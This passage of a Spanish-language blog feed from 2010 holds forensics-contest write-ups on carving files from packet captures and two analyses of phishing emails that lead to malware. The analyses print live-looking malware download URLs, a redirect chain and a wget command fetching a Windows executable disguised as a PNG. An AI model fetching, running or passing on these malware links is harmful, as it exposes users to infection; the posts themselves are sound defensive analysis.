href="http://1.bp.blogspot.com/_-nrWEUQlmUk/TIBY-neEFoI/AAAAAAAAAK0/Rhe8OcVMd1M/s1600/Pantallazo-juan%40moon:+%7E-ForensicTests-puzzle2-forensicscontest-Solucion-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="156" src="http://1.bp.blogspot.com/_-nrWEUQlmUk/TIBY-neEFoI/AAAAAAAAAK0/Rhe8OcVMd1M/s640/Pantallazo-juan%40moon:+%7E-ForensicTests-puzzle2-forensicscontest-Solucion-1.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;La opción "i" indica a base64 que ignore los caracteres no válidos que encuentre, sin la opción activada nos informará que se encontraron caracteres inválidos, por la forma en que los paquetes llegaron y como los muestra wireshark. Una vez que tenemos el archivo nos fijamos su estructura y file nos informa correctamente el tipo de archivo según su magic number. Con md5sum calculamos el checksum del archivo en cuestión "9e423e11db88f01bbff81172839e1923&amp;nbsp; secretrendezvous.docx".&lt;br /&gt;&lt;br /&gt;7-Ahora, una vez mas, por no tener Microsoft Office y porque mi OpenOffice no es demasiado amigable con los .docx abro el archivo desde google:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_-nrWEUQlmUk/TIBYoeOuwoI/AAAAAAAAAKs/eesJgRglbtA/s1600/Pantallazo-secretrendezvous.docx+-+Powered+by+Google+Docs+-+Mozilla+Firefox.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="406" src="http://2.bp.blogspot.com/_-nrWEUQlmUk/TIBYoeOuwoI/AAAAAAAAAKs/eesJgRglbtA/s640/Pantallazo-secretrendezvous.docx+-+Powered+by+Google+Docs+-+Mozilla+Firefox.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;El punto de encuentro se indica en la imagen, Avenida Constituyentes 1 Calle 10 x la 5ta Avenida, Playa del carmen México.&lt;br /&gt;&lt;br /&gt;8-Descargamos la imagen (botón derecho guardar imagen, god bless google!) y vemos que se trata de un png, luego calculamos su checksum.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_-nrWEUQlmUk/TIBaSPyYegI/AAAAAAAAAK8/I6n5nwf2FEI/s1600/Pantallazo-juan%40moon:+%7E-ForensicTests-puzzle2-forensicscontest-Solucion-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="88" src="http://3.bp.blogspot.com/_-nrWEUQlmUk/TIBaSPyYegI/AAAAAAAAAK8/I6n5nwf2FEI/s640/Pantallazo-juan%40moon:+%7E-ForensicTests-puzzle2-forensicscontest-Solucion-2.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Y ahí quedan todas las preguntas respondidas :D.&lt;br /&gt;&lt;br /&gt;Bueno, ahora voy a cumplir con mi cuerpo y me voy a dormir xD.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2092564628338741408-3912173908090572624?l=viviendolared.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viviendolared.blogspot.com/feeds/3912173908090572624/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://viviendolared.blogspot.com/2010/09/segundo-desafio-p.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/3912173908090572624'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/3912173908090572624'/><link rel='alternate' type='text/html' href='http://viviendolared.blogspot.com/2010/09/segundo-desafio-p.html' title='Segundo desafío :P'/><author><name>Juan José</name><uri>http://www.blogger.com/profile/13101658690741974139</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_-nrWEUQlmUk/SfCTfenDybI/AAAAAAAAAAM/dewvFFP75qY/S220/land-of-confusion.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_-nrWEUQlmUk/TIBHVIUwK0I/AAAAAAAAAJ8/Ux50ZKbv9uY/s72-c/Pantallazo-Follow+TCP+Stream-3.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2092564628338741408.post-4272213565502762276</id><published>2010-08-30T00:03:00.000-03:00</published><updated>2010-08-30T00:03:51.892-03:00</updated><title type='text'>Primer desafío :D.</title><content type='html'>Bueno, como comenté en una de las entradas anteriores, cada vez que tenga un poco de tiempo libre (y me acuerde del blog xD) voy a intentar hacer desafíos de esos que dan vueltas por internet. La idea es empezar con los simples e ir subiendo un poco la dificultad y ver hasta donde puedo llegar xD. Principalmente buscaré desafíos de tipo forenses, al menos por ahora es lo que mas me interesa.&lt;br /&gt;Para empezar elegí (http://forensicscontest.com/2009/09/25/puzzle-1-anns-bad-aim) este primer caso. La introducción está en inglés, y no pienso traducirla D... aprender inglés es muy importante, al menos en este rubro.&lt;br /&gt;&lt;br /&gt;El desafío consiste básicamente en analizar una captura de tráfico de una LAN y responder las siguientes preguntas que se plantean.&lt;br /&gt;&lt;br /&gt;Para poder ver el tráfico de manera legible utilizamos Wireshark, y nos encontramos con unos 240 paquetes, que van de consultas dns, actualizaciones NTP, paquetes ARP hasta conexiones http ssl tls, etc etc.&lt;br /&gt;&lt;br /&gt;Reconocimiento de la red:&lt;br /&gt;Desde la captura obtenida encontramos al menos 6 ordenadores en la red 192.168.1.0/24. Tenemos pcs en las direcciones 10,30,2,157,158,159 (último octeto de la IP real). Un servidor DNS en 10.1.1.20, un gateway y servidor NTP en 192.168.1.10, y un aparente servidor web en 192.168.1.157. Además encontramos algunas IPs públicas de servicios de mensajería instantánea AOL.&lt;br /&gt;&lt;br /&gt;La primer secuencia de paquetes interesantes para este caso es la que tiene como origen 192.168.1.158 (pc de anna xD) y destino 64.12.24.50. En esta conexión podemos ver la conversación que mantiene Anna con el chico malo. El chico malo (192.168.1.159) está utilizando un cliente de mensajería que cifra la conversación, no así anna, por eso podemos ver la conversación en gran parte. &lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_-nrWEUQlmUk/THsW4LjA4aI/AAAAAAAAAJE/KABAeseHTEk/s1600/Pantallazo-Follow+TCP+Stream.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="284" src="http://2.bp.blogspot.com/_-nrWEUQlmUk/THsW4LjA4aI/AAAAAAAAAJE/KABAeseHTEk/s640/Pantallazo-Follow+TCP+Stream.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Bien, ahora podemos responder la primer pregunta.&lt;br /&gt;1-El amigo malvado de anna se hace llamar "Sec558user1".&lt;br /&gt;2-El primer comentario registrado fue escrito por anna y dice "Here's the secret recipe... I just downloaded it...".&lt;br /&gt;3-También observamos el nombre de un archivo potencialmente de texto "recipe.docx", una vez que el destinatario acepta la transferencia del archivo, se abre una conexión punto a punto entre las dos pcs 192.168.1.158 &amp;lt;-&amp;gt; 192.168.1.159.&lt;br /&gt;4-Buscando un poco por internet se pueden encontrar sitios que listan magic numbers (http://www.garykessler.net/library/file_sigs.html) para distintos tipos de archivos. El magic number que señala archivos de tipo docx es "50 4B 03 04", que si, es exáctamente igual al de archivos de tipo zip.&lt;br /&gt;5-Este punto resultó ser bastante mas complicado que los anteriores xD.&lt;br /&gt;&amp;nbsp;La siguiente imagen es la captura de la conexión TCP que se abre para transferir el archivo recipe.docx. Los puntos rojos señalan los paquetes que traen carga efectiva (partes del archivo).&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_-nrWEUQlmUk/THsaU2GtkOI/AAAAAAAAAJU/cUtgnKkGZ1k/s1600/Pantallazo-transfer_docx+-+Wireshark.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="272" src="http://2.bp.blogspot.com/_-nrWEUQlmUk/THsaU2GtkOI/AAAAAAAAAJU/cUtgnKkGZ1k/s640/Pantallazo-transfer_docx+-+Wireshark.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Desde otro punto de vista vemos:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_-nrWEUQlmUk/THsbqXBWnMI/AAAAAAAAAJc/6nftWXN1SlY/s1600/Pantallazo-Follow+TCP+Stream-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="242" src="http://1.bp.blogspot.com/_-nrWEUQlmUk/THsbqXBWnMI/AAAAAAAAAJc/6nftWXN1SlY/s640/Pantallazo-Follow+TCP+Stream-1.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;"PK" es la traducción ASCII de "50 4B", es decir, a partir de allí existe nuestro archivo. Si pasamos el volcado a Hexa es mas claro:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_-nrWEUQlmUk/THscMafR8eI/AAAAAAAAAJk/EDwnzOb1axw/s1600/Pantallazo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="270" src="http://4.bp.blogspot.com/_-nrWEUQlmUk/THscMafR8eI/AAAAAAAAAJk/EDwnzOb1axw/s400/Pantallazo.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Ahora viene el trabajo pesado. Como el archivo no es tan grande como para que sea necesario automatizar el proceso, lo hice manualmente. De cada uno de los paquetes marcados con rojo en la imagen de la conexión TCP extraje los bytes de carga, de la siguiente manera: seleccionamos el paquete, vamos a la zona de datos y exportamos los bytes del paquete.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_-nrWEUQlmUk/THsc1ys1CvI/AAAAAAAAAJs/oSzagkhULRI/s1600/Pantallazo-3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="252" src="http://2.bp.blogspot.com/_-nrWEUQlmUk/THsc1ys1CvI/AAAAAAAAAJs/oSzagkhULRI/s640/Pantallazo-3.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Exportamos uno a uno los 10 paquetes, en mi caso les asigné como nombre las primeras 10 letras del abecedario, es decir a,b,c,d,e,f,g,h,i, y j. Ahora tenemos nuestro documento de texto partido en 10 pedazos xD, poco útil cierto? jajaj. Haciendo uso de una de las maravillas de la ingeniería unimos estos 10 archivos en uno solo, de la siguiente manera:&lt;br /&gt;&lt;br /&gt;&lt;i&gt;juan@moon:~/ForensicTests/puzzle1-forensicscontest/Solucion$ cat a b c d e f g h i j &amp;gt; recipe.docx &lt;br /&gt;juan@moon:~/ForensicTests/puzzle1-forensicscontest/Solucion$ md5sum recipe.docx &lt;b&gt;8350582774e1d4dbe1d61d64c89e0ea1&lt;/b&gt;&amp;nbsp; recipe.docx&lt;br /&gt;juan@moon:~/ForensicTests/puzzle1-forensicscontest/Solucion$ file recipe.docx &lt;br /&gt;recipe.docx: Zip archive data, at least v2.0 to extract&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Si!, cat es la maravilla de la ingeniería xD. Unidos los 10 archivos calculamos su checksum y de paso vemos como file lo detecta correctamente como un archivo tipo ZIP. Y ya tenemos el punto 5.&lt;br /&gt;&lt;br /&gt;6-Si el punto 5 está bien hecho este es trivial, claro si tenés office instalado!!! :P, pero como no lo tengo recurrimos a GoogleDocs :D y leemos la receta secreta!!!&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_-nrWEUQlmUk/THsepQWlfcI/AAAAAAAAAJ0/5jhjS_92in0/s1600/Pantallazo-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="282" src="http://4.bp.blogspot.com/_-nrWEUQlmUk/THsepQWlfcI/AAAAAAAAAJ0/5jhjS_92in0/s640/Pantallazo-1.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Y aca concluye el primer desafío. Anna realmente fue parte de una fuga de información y debería ser sancionada como corresponda :P. Sec558user1 se salió con la suya, obtuvo la codiciosa receta secreta y debe estar vendiéndola en ebay xD.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2092564628338741408-4272213565502762276?l=viviendolared.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viviendolared.blogspot.com/feeds/4272213565502762276/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://viviendolared.blogspot.com/2010/08/primer-desafio-d.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/4272213565502762276'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/4272213565502762276'/><link rel='alternate' type='text/html' href='http://viviendolared.blogspot.com/2010/08/primer-desafio-d.html' title='Primer desafío :D.'/><author><name>Juan José</name><uri>http://www.blogger.com/profile/13101658690741974139</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_-nrWEUQlmUk/SfCTfenDybI/AAAAAAAAAAM/dewvFFP75qY/S220/land-of-confusion.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_-nrWEUQlmUk/THsW4LjA4aI/AAAAAAAAAJE/KABAeseHTEk/s72-c/Pantallazo-Follow+TCP+Stream.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2092564628338741408.post-128548890433070980</id><published>2010-08-25T22:37:00.000-03:00</published><updated>2010-08-25T22:37:47.810-03:00</updated><title type='text'>Recien salido del horno "Que absurdo.‏"</title><content type='html'>Aca traigo una novedad de esas que me llegan por mail xD. Esta vez de un contacto diferente, y con el siguiente texto:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_-nrWEUQlmUk/THW8TDyC74I/AAAAAAAAAI8/_binHk8TwTo/s1600/Pantallazo-Hotmail+-+j666j0%40hotmail.com+-+Windows+Live+-+Mozilla+Firefox.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="238" src="http://2.bp.blogspot.com/_-nrWEUQlmUk/THW8TDyC74I/AAAAAAAAAI8/_binHk8TwTo/s640/Pantallazo-Hotmail+-+j666j0%40hotmail.com+-+Windows+Live+-+Mozilla+Firefox.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Todos los enlaces de las supuestas fotos apuntan a http://mulhersubita.100webspace.ne t/ que nos redirije a un sito chino, específicamente a http://www.cwts.com.cn/en/area/taiwan/Downloads_E.z ip . Una vez descargado este archivo comprimido quien no se sentiría tentado de ver unas fotos... En fín, dichi zip contiene un ejecutable, que a este momento es detectado por 4 de los 42 antivirus que utiliza virus total, es decir, es muy muy nueno evidentemente. Enlace de mi reporte en virus total: http://www.virustotal.com/file-scan/report.html?id=77df88abc1a50a6d1b2b283388e1d1561f91e2b78becb870d1555d3b57cfbffb-1282783946 .&lt;br /&gt;&lt;br /&gt;Una vez prepara la vm nueva voy a probar qué hace este nuevo bichito :D.&lt;br /&gt;...&lt;br /&gt;...&lt;br /&gt;5 minutos después... una gran decepción, por algún motivo obtengo esto:&lt;br /&gt;&lt;br /&gt;process: created C:\WINDOWS\explorer.exe -&amp;gt; C:\Documents and Settings\Administrador\Escritorio\Downloads_E.exe&lt;br /&gt;process: terminated C:\WINDOWS\explorer.exe -&amp;gt; C:\Documents and Settings\Administrador\Escritorio\Downloads_E.exe&lt;br /&gt;&lt;br /&gt;Es decir, el proceso se crea y muere inmediatamente... es probable que el entorno donde lo intento ejecutar no le sea propicio (Windows XP SP3).&lt;br /&gt;&lt;br /&gt;Aca el reporte de anubis: http://anubis.iseclab.org/?action=result&amp;amp;task_id=13f3d7a196e03ed6459da776ce3d9e114&amp;amp;format=pdf .&lt;br /&gt;&lt;br /&gt;Las actividades que registró anubis yo no las observé en mi entorno de pruebas, para esto debe haber una explicación, mis conjeturas son:&lt;br /&gt;-Anubis realiza las pruebas sobre otro sistema operativo distinto del mio.&lt;br /&gt;-Mi programa de logging de actividades CaptureBAT no registra las actividades de este malware, posiblemente sea mas avanzado que los demás.&lt;br /&gt;&lt;br /&gt;Hasta el momento no registré actividad de red extraña desde la VM infectada, lo que me llama poderosamente la atención. No pude avisar a los administradores del sitio chino porque... no encontré un mail de contacto xD. El sitio tiene mucho código en php en malas condiciones y vulnerable, seguramente por ahí fue que lograron colarse los chicos malos.&lt;br /&gt;&lt;br /&gt;En los próximos días tengo planeado hacer unos ejercicios de informática forense que iré juntando por la web, es una rama de la informática muy interesante. La idea es intentar resolverlos y subir los resultados al blog, como para variar un poco.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2092564628338741408-128548890433070980?l=viviendolared.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viviendolared.blogspot.com/feeds/128548890433070980/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://viviendolared.blogspot.com/2010/08/recien-salido-del-horno-que-absurdo.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/128548890433070980'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/128548890433070980'/><link rel='alternate' type='text/html' href='http://viviendolared.blogspot.com/2010/08/recien-salido-del-horno-que-absurdo.html' title='Recien salido del horno &quot;Que absurdo.‏&quot;'/><author><name>Juan José</name><uri>http://www.blogger.com/profile/13101658690741974139</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_-nrWEUQlmUk/SfCTfenDybI/AAAAAAAAAAM/dewvFFP75qY/S220/land-of-confusion.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_-nrWEUQlmUk/THW8TDyC74I/AAAAAAAAAI8/_binHk8TwTo/s72-c/Pantallazo-Hotmail+-+j666j0%40hotmail.com+-+Windows+Live+-+Mozilla+Firefox.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2092564628338741408.post-2204700098008950663</id><published>2010-08-23T21:39:00.000-03:00</published><updated>2010-08-23T21:39:32.441-03:00</updated><title type='text'>Nuevo: "Fotos chocantes cobra engole garoto de 13 anos no Pantanal 09/08/2010‏"</title><content type='html'>Ya no se cuanto tiempo pasó de la entrada anterior, pero mas de una semana seguro. Necesito temas para escribir en el blog xD. Justamente hoy, recibí un nuevo email de mi "contacto en el mas allá". Nuevamente el título del email juega con el morbo de los seres humanos xD. Las supuestas fotos estarían enhttp://ofuxico.terra.com.br/materia/Fotos-pantanal-0.73642, que a decir verdad apunta a http://centurionet2001.com/files/ Fotos-IML-matogrosso.pps?0.73642 .&lt;br /&gt;De una vez por todas estos chicos realizaron&amp;nbsp; cambios interesantes, respecto a las versiones anteriores. Todo indica que centurionet2001.com, es un host comprometido por los chicos malos, o nunca fue concebido con buenos fines :P.&lt;br /&gt;&lt;br /&gt;Si presionamos el link seremos redireccionados de la siguiente manera:&lt;br /&gt;&lt;br /&gt;GET /files/Fotos-IML-matogrosso.pps?0.73642 HTTP/1.1&lt;br /&gt;Host: centurionet2001.com&lt;br /&gt;User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8&lt;br /&gt;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;br /&gt;Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3&lt;br /&gt;Accept-Encoding: gzip,deflate&lt;br /&gt;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;Keep-Alive: 115&lt;br /&gt;Connection: keep-alive&lt;br /&gt;&lt;br /&gt;HTTP/1.1 302 Moved Temporarily&lt;br /&gt;Date: Mon, 23 Aug 2010 23:13:19 GMT&lt;br /&gt;Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_perl/2.0.4 Perl/v5.8.8&lt;br /&gt;X-Powered-By: PHP/5.2.9&lt;br /&gt;Location: &lt;b&gt;http://hostgaitor.narod.ru/materia.htm&lt;/b&gt;&lt;br /&gt;Content-Length: 0&lt;br /&gt;Keep-Alive: timeout=15, max=100&lt;br /&gt;Connection: Keep-Alive&lt;br /&gt;Content-Type: text/html&lt;br /&gt;&lt;br /&gt;De nuevo dominios .ru ... hostigaitor.narod.ru/materia.htm hospeda un sitio que se presenta de la siguiente manera.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_-nrWEUQlmUk/THMCMUa0jdI/AAAAAAAAAIk/3qW_N0NXB3E/s1600/Pantallazo-1_a.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="326" src="http://3.bp.blogspot.com/_-nrWEUQlmUk/THMCMUa0jdI/AAAAAAAAAIk/3qW_N0NXB3E/s640/Pantallazo-1_a.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Similar al sitio de adobe cierto? jajajaaj, no cabe duda. Además nos invita a instalar Adobe Flash Player version 10.1.6 (supuestamente) de Adobe System y hospedad en hostigator.narod.ru.&lt;br /&gt;Pidiendo un poco mas de información a firefox vemos que el certificado con que fue firmada la aplicación:&lt;br /&gt;&lt;ol&gt;&lt;li&gt; Expiró en 2009 (Validity Validity: [From: Sat Nov 08 18:25:37 ARST 2008,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; To: Fri Feb 06 18:25:37 ARST 2009] ). &lt;/li&gt;&lt;li&gt;Fue generado por&lt;b&gt; Adobe System@&lt;/b&gt; para &lt;b&gt;Adobe System@&lt;/b&gt;. Lo cual despierta sospechas a firefox.&lt;/li&gt;&lt;/ol&gt;Si cancelamos la instalación (muy recomendable xD) no sucederá nada malo (ni divertido xD). Pero bueno xD, en este caso vamos a ver qué sucede de divertido cuando aceptemos e instalemos este "nuevo" flashplayer.&lt;br /&gt;Primero descargamos el archivo a instalar para comprobarlo con virustotal a ver que nos dice. El archivo en cuestión se hospeda en: http://realamizades.com/system/FLASH_PLAYER10.0.40.5.ex e.&lt;br /&gt;Todo indica que este es el primer reporte que recibe virustotal de nuestro amigo infeccioso.&lt;br /&gt;14 de 40 antivirus lo detectan como una amenaza, para ver el reporte total click aca -&amp;gt; http://www.virustotal.com/file-scan/compact.html?id=c116fc4d1aad19121d484c07ebad0d49cdc4e01a5778efc41e450bfe789bb803-1282606951#&lt;br /&gt;Análisis de anubis: http://anubis.iseclab.org/?action=result&amp;amp;task_id=103db40d587163ab4cdfd8aaba20e6896&amp;amp;format=html . El reporte de anubis nos indica con precisión las actividades acometidas por nuestro .exe en el sistema.&lt;br /&gt;Una de las primeras actividades es descargar la siguiente "imagen":&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_-nrWEUQlmUk/THMO2Nhb_UI/AAAAAAAAAIs/-8E5k7SLv_s/s1600/Pantallazo-3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="272" src="http://1.bp.blogspot.com/_-nrWEUQlmUk/THMO2Nhb_UI/AAAAAAAAAIs/-8E5k7SLv_s/s640/Pantallazo-3.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Se puede observar el sospechoso envión de una imagen en formato png, la cadena "This program must be run under win32" nos deja mas que claro que no se trata de una imagen en lo mas mínimo. Poniendo el link directamente en el navegador, este nos indica que la imagen está corrupta y no puede mostrarse. Para saber su verdadera identidad podemos utilizar por ejemplo el comando file (en linux) de la siguiente manera:&lt;br /&gt;&lt;br /&gt;juan@moon:~$ wget http://lajeado2010.tv/log/itens_img01.png&lt;br /&gt;--2010-08-23 21:17:52--&amp;nbsp; http://lajeado2010.tv/log/itens_img01.png&lt;br /&gt;Resolviendo lajeado2010.tv... 189.38.80.195&lt;br /&gt;Conectando a lajeado2010.tv|189.38.80.195|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 200 OK&lt;br /&gt;Longitud: 116992 (114K) [image/png]&lt;br /&gt;Guardando a: «itens_img01.png.1»&lt;br /&gt;&lt;br /&gt;100%[======================================&amp;gt;] 116.992&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 37,0K/s&amp;nbsp;&amp;nbsp; en 3,1s&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;2010-08-23 21:18:01 (37,0 KB/s) - «itens_img01.png.1» guardado [116992/116992]&lt;br /&gt;&lt;br /&gt;juan@moon:~$ file itens_img01.png&lt;br /&gt;itens_img01.png: PE32 executable for MS Windows (GUI) Intel 80386 32-bit&lt;br /&gt;juan@moon:~$ &lt;br /&gt;&lt;br /&gt;Ya no cabe duda de que no se trata de un png xD, sino de un archivo ejecutable de windows. Aca el análisis de virustotal de itens_img01.png http://www.virustotal.com/file-scan/report.html?id=f911b9f4a1801f480151d75466da7806d1efb2e842fffecff625aec1ab4fea10-1282609386.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2092564628338741408-2204700098008950663?l=viviendolared.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viviendolared.blogspot.com/feeds/2204700098008950663/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://viviendolared.blogspot.com/2010/08/nuevo-fotos-chocantes-cobra-engole.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/2204700098008950663'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/2204700098008950663'/><link rel='alternate' type='text/html' href='http://viviendolared.blogspot.com/2010/08/nuevo-fotos-chocantes-cobra-engole.html' title='Nuevo: &quot;Fotos chocantes cobra engole garoto de 13 anos no Pantanal 09/08/2010‏&quot;'/><author><name>Juan 